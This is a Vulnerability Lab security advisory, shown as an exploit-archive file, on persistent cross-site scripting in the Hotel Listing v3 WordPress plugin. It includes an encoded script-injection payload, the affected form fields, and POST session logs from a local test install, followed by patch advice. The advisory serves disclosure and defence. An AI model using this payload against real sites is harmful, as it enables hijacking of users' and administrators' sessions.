6829e7f3b7
17 changes to exploits/shellcodes RDP Manager 4.9.9.3 - Denial-of-Service (PoC) PHPJabbers Simple CMS 5 - 'name' Persistent Cross-Site Scripting (XSS) WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS) Fuel CMS 1.4.1 - Remote Code Execution (3) Eclipse Jetty 11.0.5 - Sensitive File Disclosure WordPress Plugin Popup Anything 2.0.3 - 'Multiple' Stored Cross-Site Scripting (XSS) OpenAM 13.0 - LDAP Injection Simplephpscripts Simple CMS 2.1 - 'Multiple' Stored Cross-Site Scripting (XSS) Simplephpscripts Simple CMS 2.1 - 'Multiple' SQL Injection Sonicwall SonicOS 6.5.4 - 'Common Name' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'Multiple' Cross-Site Scripting (XSS) PHP Melody 3.0 - 'vid' SQL Injection Mult-e-Cart Ultimate 2.4 - 'id' SQL Injection PHP Melody 3.0 - Persistent Cross-Site Scripting (XSS) Isshue Shopping Cart 3.5 - 'Title' Cross Site Scripting (XSS) Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS) Ultimate POS 4.4 - 'name' Cross-Site Scripting (XSS)
276 lines
No EOL
11 KiB
Text
276 lines
No EOL
11 KiB
Text
# Exploit Title: WordPress Plugin Hotel Listing 3 - 'Multiple' Cross-Site Scripting (XSS)
|
|
# Date: 2021-10-28
|
|
# Exploit Author: Vulnerability Lab
|
|
# Vendor Homepage: https://hotel.eplug-ins.com/
|
|
# Software Link: https://hotel.eplug-ins.com/hoteldoc/
|
|
# Version: v3
|
|
# Tested on: Linux
|
|
|
|
|
|
Document Title:
|
|
===============
|
|
Hotel Listing (WP Plugin) v3.x - MyAccount XSS Vulnerability
|
|
|
|
|
|
References (Source):
|
|
====================
|
|
https://www.vulnerability-lab.com/get_content.php?id=2277
|
|
|
|
|
|
Release Date:
|
|
=============
|
|
2021-10-28
|
|
|
|
|
|
Vulnerability Laboratory ID (VL-ID):
|
|
====================================
|
|
2277
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
5.3
|
|
|
|
|
|
Vulnerability Class:
|
|
====================
|
|
Cross Site Scripting - Persistent
|
|
|
|
|
|
Current Estimated Price:
|
|
========================
|
|
500€ - 1.000€
|
|
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Hotel, Motel , Bar & Restaurant Listing Plugin + Membership plugin using Wordpress with PHP and MySQL Technologie.
|
|
|
|
(Copy of the Homepage:https://hotel.eplug-ins.com/hoteldoc/ )
|
|
|
|
|
|
Abstract Advisory Information:
|
|
==============================
|
|
The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in the official Hotel Listing v3.x wordpress plugin web-application.
|
|
|
|
|
|
Affected Product(s):
|
|
====================
|
|
e-plugins
|
|
Product: Hotel Listing v3.x - Plugin Wordpress (Web-Application)
|
|
|
|
|
|
Vulnerability Disclosure Timeline:
|
|
==================================
|
|
2021-08-19: Researcher Notification & Coordination (Security Researcher)
|
|
2021-08-20: Vendor Notification (Security Department)
|
|
2021-**-**: Vendor Response/Feedback (Security Department)
|
|
2021-**-**: Vendor Fix/Patch (Service Developer Team)
|
|
2021-**-**: Security Acknowledgements (Security Department)
|
|
2021-10-28: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Discovery Status:
|
|
=================
|
|
Published
|
|
|
|
|
|
Exploitation Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity Level:
|
|
===============
|
|
Medium
|
|
|
|
|
|
Authentication Type:
|
|
====================
|
|
Restricted Authentication (Guest Privileges)
|
|
|
|
|
|
User Interaction:
|
|
=================
|
|
Low User Interaction
|
|
|
|
|
|
Disclosure Type:
|
|
================
|
|
Responsible Disclosure
|
|
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
Multiple persistent input validation web vulnerabilities has been discovered in the official Hotel Listing v3.x wordpress plugin web-application.
|
|
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to
|
|
web-application requests from the application-side.
|
|
|
|
The vulnerabilities are located in add new listing - address, city, zipcode, country and location input fields of the my-account module.
|
|
Remote attackers can register a low privileged application user account to inject own malicious script codes with persistent attack vector to
|
|
hijack user/admin session credentials or to permanently manipulate affected modules. The execute of the malicious injected script code takes
|
|
place in the frontend on preview but as well in the backend on interaction to edit or list (?&profile=all-post) by administrative accounts.
|
|
The request method to inject is post and the attack vector is persistent located on the application-side.
|
|
|
|
Request Method(s):
|
|
[+] POST
|
|
|
|
Vulnerable Module(s):
|
|
[+] Add New Listing
|
|
|
|
|
|
Vulnerable Input(s):
|
|
[+] address
|
|
[+] city
|
|
[+] zipcode
|
|
[+] country
|
|
|
|
Affected Module(s):
|
|
[+] Frontend on Preview (All Listings)
|
|
[+] Backend on Preview (All Listings) or Edit
|
|
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
The persistent web vulnerabilities can be exploited by remote attackers with privilged user accounts with low user interaction.
|
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
|
|
|
|
|
Exploitation: Payload
|
|
%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E
|
|
|
|
|
|
Vulnerable Source: new-listing
|
|
<div class=" form-group row">
|
|
<div class="col-md-6 ">
|
|
<label for="text" class=" control-label col-md-4 ">Address</label>
|
|
<input type="text" class="form-control col-md-8 " name="address" id="address" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
|
|
placeholder="Enter address Here">
|
|
</div>
|
|
<div class=" col-md-6">
|
|
<label for="text" class=" control-label col-md-4">Area</label>
|
|
<input type="text" class="form-control col-md-8" name="area" id="area" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
|
|
placeholder="Enter Area Here">
|
|
</div>
|
|
</div>
|
|
<div class=" form-group row">
|
|
<div class="col-md-6 ">
|
|
<label for="text" class=" control-label col-md-4">City</label>
|
|
<input type="text" class="form-control col-md-8" name="city" id="city" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
|
|
placeholder="Enter city ">
|
|
</div>
|
|
<div class=" col-md-6">
|
|
<label for="text" class=" control-label col-md-4">Zipcode</label>
|
|
<input type="text" class="form-control col-md-8" name="postcode" id="postcode" value="<[MALICIOUS SCRIPT CODE PAYLOAD!]>">>""
|
|
placeholder="Enter Zipcode ">
|
|
</div>
|
|
</div>
|
|
<div class=" form-group row">
|
|
<div class=" col-md-6">
|
|
<label for="text" class=" control-label col-md-4">State</label>
|
|
<input type="text" class="form-control col-md-8" name="state" id="state" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
|
|
placeholder="Enter State ">
|
|
</div>
|
|
<div class=" col-md-6">
|
|
<label for="text" class=" control-label col-md-4">Country</label>
|
|
<input type="text" class="form-control col-md-8" name="country" id="country" value="">>"<[MALICIOUS SCRIPT CODE PAYLOAD!]>"
|
|
placeholder="Enter Country ">
|
|
</div>
|
|
|
|
|
|
|
|
--- PoC Session Logs (POST) ---
|
|
http://hotel-eplug-ins.localhost:8000/wp-admin/admin-ajax.php
|
|
Host: hotel-eplug-ins.localhost:8000
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 1603
|
|
Origin:http://hotel-eplug-ins.localhost:8000
|
|
Connection: keep-alive
|
|
Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing
|
|
-
|
|
action=iv_directories_save_listing&form_data=cpt_page=hotel&title=test1&new_post_content=test2&logo_image_id=&feature_image_id=
|
|
&gallery_image_ids=&post_status=pending&postcats%5B%5D=&address=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&area=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
|
|
city=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&postcode=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
|
|
state=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&country=%22%3E%3Cimg%3E%2520%3Cimg+src%3D%22evil.source%22%3E&
|
|
latitude=&longitude=&new_tag=&phone=&fax=&contact-email=&contact_web=&award_title%5B%5D=&award_description%5B%5D=&
|
|
award_year%5B%5D=&menu_title%5B%5D=&menu_description%5B%5D=&menu_price%5B%5D=&menu_order%5B%5D=&room_title%5B%5D=&room_description%5B%5D=&room_price%5B%5D=&
|
|
room_order%5B%5D=&override_bookingf=no&booking_stcode=&youtube=&vimeo=&facebook=&linkedin=&twitter=&gplus=&pinterest=&instagram=&Rooms=&suites=&
|
|
Rating_stars=&CHECK_IN=&CHECK_out=&Cancellation=&Pets=&Children_and_Extra_Beds=&day_name%5B%5D=Monday+&day_value1%5B%5D=&
|
|
day_value2%5B%5D=&event-title=&event-detail=++&event_image_id=&user_post_id=&_wpnonce=50241bc992
|
|
-
|
|
POST: HTTP/1.1 200 OK
|
|
Server: nginx/1.18.0
|
|
Content-Type: text/html; charset=UTF-8
|
|
Transfer-Encoding: chunked
|
|
Connection: keep-alive
|
|
Access-Control-Allow-Origin:http://hotel-eplug-ins.localhost:8000
|
|
Access-Control-Allow-Credentials: true
|
|
Cache-Control: no-cache, must-revalidate, max-age=0
|
|
X-Frame-Options: SAMEORIGIN
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
|
Content-Encoding: gzip
|
|
-
|
|
http://hotel-eplug-ins.localhost:8000/my-account-2/?&profile=all-post
|
|
Host: hotel-eplug-ins.localhost:8000
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Connection: keep-alive
|
|
Referer:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=new-listing
|
|
-
|
|
GET: HTTP/1.1 200 OK
|
|
Server: nginx/1.18.0
|
|
Content-Type: text/html; charset=UTF-8
|
|
Content-Length: 0
|
|
Connection: keep-alive
|
|
Cache-Control: no-cache, must-revalidate, max-age=0
|
|
X-Redirect-By: WordPress
|
|
Location:http://hotel-eplug-ins.localhost:8000/my-account-2/?profile=all-post
|
|
|
|
|
|
Solution - Fix & Patch:
|
|
=======================
|
|
1. Encode and parse all vulnerable input fields on transmit via post method request
|
|
2. Restrict the input fields to disallow usage of special chars
|
|
3. Encode and escape the output content in the edit and list itself to prevent the execution point
|
|
|
|
|
|
Security Risk:
|
|
==============
|
|
The security risk of the persistent cross site scripting web vulnerability in the hotel listing application is estimated as medium.
|
|
|
|
|
|
Credits & Authors:
|
|
==================
|
|
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
|
|
|
|
|
Disclaimer & Information:
|
|
=========================
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
|
|
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
|
|
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
|
|
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
|
|
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
|
|
|
Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
|
|
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
|
|
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
|
|
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
|
|
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
|
|
edit our material contact (admin@ or research@) to get a ask permission.
|
|
|
|
Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
|
|
|
|
|
|
|
--
|
|
VULNERABILITY LABORATORY (VULNERABILITY LAB)
|
|
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE |